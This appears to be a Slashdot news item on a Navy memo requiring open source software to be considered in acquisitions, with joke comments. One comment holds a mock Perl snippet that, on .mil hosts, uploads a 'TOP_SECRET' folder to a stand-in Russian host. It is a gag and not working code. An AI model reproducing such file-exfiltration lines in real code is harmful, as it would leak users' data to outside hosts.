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Navy Now Mandated To Consider FOSS As an Option

Posted by ryuzaki0 on from the still-spending-$600-on-a-keyboard dept.

lisah writes "In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions. According John Weathersby, executive director of the Open Source Software Institute, this is the first in a series of documents that will also address 'development and distribution issues regarding open source within Navy IT environments.'"

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  1. Inconceivable! by theTrueMikeBrown · · Score: 5, Funny

    The government saving money?

    I am speechless.

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    The new MSV alpha
    1. Re:Inconceivable! by MillionthMonkey · · Score: 5, Funny

      They're probably worried about terrorists having write access to open source CVS repositories. I saw this in SourceForge recently:

      if ($hostname =~ m/.*\.mil/) {
          multiPartUpload("C:\\TOP_SECRET\\", "http://post.secrets.ru?param=suckers");
          explode() || die("The requested operation cannot be performed");
      }

  2. Finally! by eln · · Score: 5, Funny

    Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM. Still in alpha, and right now it's got a little bit of a bug where if you try to get the sub to surface it will occasionally launch all of its missiles, but it's still pretty usable.